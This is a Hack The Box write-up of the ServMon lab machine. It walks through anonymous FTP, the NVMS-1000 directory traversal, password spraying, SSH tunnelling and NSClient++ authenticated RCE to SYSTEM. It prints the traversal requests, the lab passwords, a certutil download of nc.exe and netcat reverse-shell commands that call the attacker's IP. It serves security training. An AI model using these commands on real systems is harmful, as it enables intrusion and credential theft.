
ServMon: NVMS-1000 Directory Traversal to NSClient++ RCE
Hack The Box write-up for the ServMon machine. Anonymous FTP exposes internal notes pointing to a password file on a user's desktop, a directory traversal in NVMS-1000 reads the file remotely, password spraying lands SSH as Nadine, and authenticated RCE against NSClient++ through an SSH tunnel escalates to SYSTEM.
Initial Reconnaissance – Port Scanning
The assessment started with a service version scan against 10.129.227.77, host discovery disabled (-Pn):
$ nmap -sV -Pn -T4 10.129.227.77
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-11 22:02 -0300
Nmap scan report for 10.129.227.77
Host is up (0.14s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6699/tcp open napster?
8443/tcp open ssl/https-alt
A Windows box with a notable spread of services. FTP (21) and SSH (22) suggest direct access paths. HTTP on port 80 is a web application worth investigating. SMB (139/445) could expose shares or allow enumeration. Port 8443 running SSL/HTTPS is typically NSClient++, a Windows monitoring agent with a web interface. Ports 5666 and 6699 are less interesting for now.
Enumeration
21/tcp – Anonymous FTP
FTP allowed anonymous access and exposed a Users directory containing two subdirectories: Nadine and Nathan.
$ ftp 10.129.227.77
Connected to 10.129.227.77.
220 Microsoft FTP Service
Name (10.129.227.77:bytejmp): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
02-28-22 07:35PM <DIR> Users
ftp> cd Users
250 CWD command successful.
ftp> ls
02-28-22 07:36PM <DIR> Nadine
02-28-22 07:37PM <DIR> Nathan
Nadine's directory contained a file called Confidential.txt:
ftp> cd Nadine
ftp> get Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
Nathan's directory had a Notes to do.txt:
ftp> cd Nathan
ftp> get "Notes to do.txt"
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Two important pieces of information from these files. The confidential note confirms a Passwords.txt file sitting on Nathan's Desktop. The to-do list references two applications: NVMS (a network video management system) and NSClient++ (a monitoring agent). The note says NSClient access was locked down and the NVMS password was changed, but items 3 through 5 were not completed, meaning the passwords file was never moved and public access to NVMS was never removed.
445/tcp – SMB
SMB enumeration was attempted with null, guest, and known user sessions. None produced useful results:
$ nxc smb 10.129.227.77 -u '' -p '' --shares
SMB 10.129.227.77 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:None)
SMB 10.129.227.77 445 SERVMON [-] ServMon\: STATUS_ACCESS_DENIED
$ nxc smb 10.129.227.77 -u 'guest' -p '' --shares
SMB 10.129.227.77 445 SERVMON [-] ServMon\guest: STATUS_ACCOUNT_DISABLED
The guest account was disabled and null sessions were denied. Quick tests with Nadine using empty and matching passwords also failed. SMB was a dead end on this box.
80/tcp – NVMS-1000
Port 80 served the login page for NVMS-1000, a network video surveillance management application by TVT:

The application is known to be vulnerable. A searchsploit lookup confirmed a directory traversal vulnerability:
$ searchsploit "NVMS 1000"
Exploit Title | Path
NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt
TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py
This is CVE-2019-20085, an unauthenticated directory traversal in TVT NVMS-1000. The web server fails to sanitize ../ sequences in the URL path, allowing arbitrary file reads from the underlying Windows filesystem.
8443/tcp – NSClient++
Port 8443 hosted the web interface for NSClient++. Accessing it directly from outside showed the interface but was restricted by the allowed hosts configuration (confirmed later). A searchsploit query returned two relevant results:
$ searchsploit "NSClient++"
Exploit Title | Path
NSClient++ 0.5.2.35 - Authenticated Remote Code Execution | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation | windows/local/46802.txt
Both exploits target version 0.5.2.35 and require authentication plus local access. This information becomes relevant after gaining a foothold.
NVMS-1000 – Directory Traversal (CVE-2019-20085)
Following the PoC from Exploit-DB 47774, the vulnerability was first validated by reading win.ini:
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.129.227.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Content-type:
Content-Length: 92
Connection: close
AuthInfo:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
The traversal works. With that confirmed, the next step was reading the Passwords.txt file that Nadine's note mentioned on Nathan's Desktop:
GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.129.227.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
Seven passwords, no indication of which user they belong to. Time to spray.
Password Spraying – SSH
With two known usernames from the FTP share (Nadine and Nathan) and the password list from the traversal, a credential spray was run against SMB:
$ nxc smb 10.129.227.77 -u users.txt -p pass.txt --continue-on-success
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [+] ServMon\Nadine:L1k3B1gBut7s@W0rk
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
One hit: Nadine:L1k3B1gBut7s@W0rk. None of the passwords worked for Nathan.
Initial Access – SSH (Nadine)
With valid credentials and SSH open on port 22, the foothold was straightforward:
$ ssh [email protected]
[email protected]'s password:
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
User Flag
PS C:\Users\Nadine\Desktop> cat user.txt
cf8a46edbb2390d81fa27ade207db153
Local Enumeration
Checking privileges and group memberships, Nadine is a standard low-privilege user with no interesting tokens:
PS C:\Users> whoami /all
USER INFORMATION
----------------
User Name SID
============== =============================================
servmon\nadine S-1-5-21-3217154428-562821044-1828981534-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
No SeImpersonate, no group memberships to abuse. The escalation path goes through the NSClient++ service running on port 8443.
Privilege Escalation – NSClient++ Authenticated RCE
Note: The NSClient++ exploitation process is fragile and frequently crashes the service or the entire box, requiring a machine reset. This is a well known pain point with ServMon. Multiple community reports confirm that the reload step can hang or break NSClient++, forcing you to restart and try again. Patience and resets are part of the process on this one.
Reading the NSClient++ Configuration
NSClient++ stores its configuration in nsclient.ini. Nadine can read this file from the installation directory:
PS C:\Program Files\NSClient++> cat nsclient.ini
# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help
; in flight - TODO
[/settings/default]
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
Two critical details here. The administrative password is ew2x6SsGTxjRwXOT, and the allowed hosts is restricted to 127.0.0.1. This explains why the web interface on port 8443 was accessible externally but would reject connections from any host other than localhost. The exploit requires accessing the API locally.
Confirming the version:
PS C:\Program Files\NSClient++> .\nscp.exe --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64
Version 0.5.2.35 matches both exploits found earlier. The authenticated RCE (EDB-48360) works by injecting an external script through the NSClient++ API, saving the configuration, reloading the service, and then triggering the script. Since NSClient++ runs as NT AUTHORITY\SYSTEM, any executed command runs with full privileges.
SSH Port Forwarding
Since the web interface only accepts connections from 127.0.0.1, an SSH tunnel is needed to forward port 8443 from the target to the attack machine:
$ ssh -L 8443:127.0.0.1:8443 [email protected]
After the tunnel is established, the NSClient++ login page becomes accessible at https://127.0.0.1:8443:

Authenticating with the password ew2x6SsGTxjRwXOT grants full access to the dashboard:

Staging the Payload
Before running the exploit, nc.exe was uploaded to the target using certutil:
PS C:\> mkdir temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/11/2026 7:13 PM temp
PS C:\temp> certutil -urlcache -f http://10.10.15.33/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/11/2026 7:15 PM 59392 nc.exe
Exploitation via Python Script
The public exploit (EDB-48360) automates the full chain: authenticate, enable the ExternalScripts module, register a command, save, reload, and trigger. The script was pointed at 127.0.0.1:8443 through the SSH tunnel:
$ python3 code.py -t 127.0.0.1 -P 8443 -p 'ew2x6SsGTxjRwXOT' -c "C:\temp\nc.exe 10.10.15.33 9000 -e powershell.exe"
[!] Targeting base URL https://127.0.0.1:8443
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: OGPkzgcOYtZgY)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .
[!] Timeout exceeded. Assuming your payload executed . . .
The listener caught the reverse shell:
$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.33] from (UNKNOWN) [10.129.61.12] 49692
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Program Files\NSClient++> whoami
nt authority\system
Root Flag
PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/11/2026 7:25 PM 34 root.txt
PS C:\Users\Administrator\Desktop> cat root.txt
a950a1847de8ea6ee4322c0965854fd7
Full SYSTEM access.
Manual Exploitation – NSClient++ Web Interface
The same result can be achieved manually through the NSClient++ web interface, without relying on the Python exploit script. This approach is useful when the automated exploit is unreliable or when understanding the underlying mechanism is the goal.
The process follows the steps documented in EDB-46802: register a script as an external command, create a scheduled task to execute it, save the configuration, and reload the service.
Creating the Payload Script
A batch file with the reverse shell command was uploaded to the target:
$ cat rev.bat
\temp\nc.exe 10.10.15.33 9000 -e powershell
PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/11/2026 7:27 PM 59392 nc.exe
-a---- 9/11/2026 7:34 PM 44 rev.bat
Configuring NSClient++ via the Web Interface
Through the NSClient++ Settings page (accessible via the SSH tunnel at https://127.0.0.1:8443), the following entries were added under the Add new tab:
1. Register the script as an external command:
| Field | Value |
|---|---|
| Section | /settings/external scripts/scripts/aa |
| Key | command |
| Value | C:\\temp\\rev.bat |

2. Create a scheduler entry with a 10 second interval:
| Field | Value |
|---|---|
| Section | /settings/scheduler/schedules/aa_time |
| Key | interval |
| Value | 10s |

3. Link the scheduler to the external script:
| Field | Value |
|---|---|
| Section | /settings/scheduler/schedules/aa_time |
| Key | command |
| Value | aa |

After adding all three entries, the Changed tab showed the pending modifications:

Clicking Save persisted the configuration, and then Control → Reload applied the changes:

After the service reloaded, the scheduler executed the aa command every 10 seconds, which ran rev.bat, triggering the reverse shell:
$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.33] from (UNKNOWN) [10.129.61.12] 49692
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Program Files\NSClient++> whoami
nt authority\system
Same result: NT AUTHORITY\SYSTEM.
References
- CVE-2019-20085: NVMS-1000 Directory Traversal — Unauthenticated path traversal in TVT NVMS-1000 used to read
Passwords.txtfrom Nathan's desktop. - EDB-48360: NSClient++ 0.5.2.35 Authenticated RCE — Python exploit that automates external script injection, configuration save, service reload, and payload trigger through the NSClient++ API.
- EDB-46802: NSClient++ 0.5.2.35 Privilege Escalation — Manual exploitation steps for registering and scheduling scripts through the NSClient++ web interface.
- NetExec — Used for SMB enumeration and credential spraying.